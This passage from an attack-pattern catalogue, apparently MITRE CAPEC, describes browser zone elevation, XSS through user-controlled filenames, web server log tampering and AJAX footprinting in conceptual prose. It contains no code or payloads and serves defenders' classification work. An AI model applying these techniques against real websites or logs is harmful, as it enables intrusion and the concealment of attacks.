An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.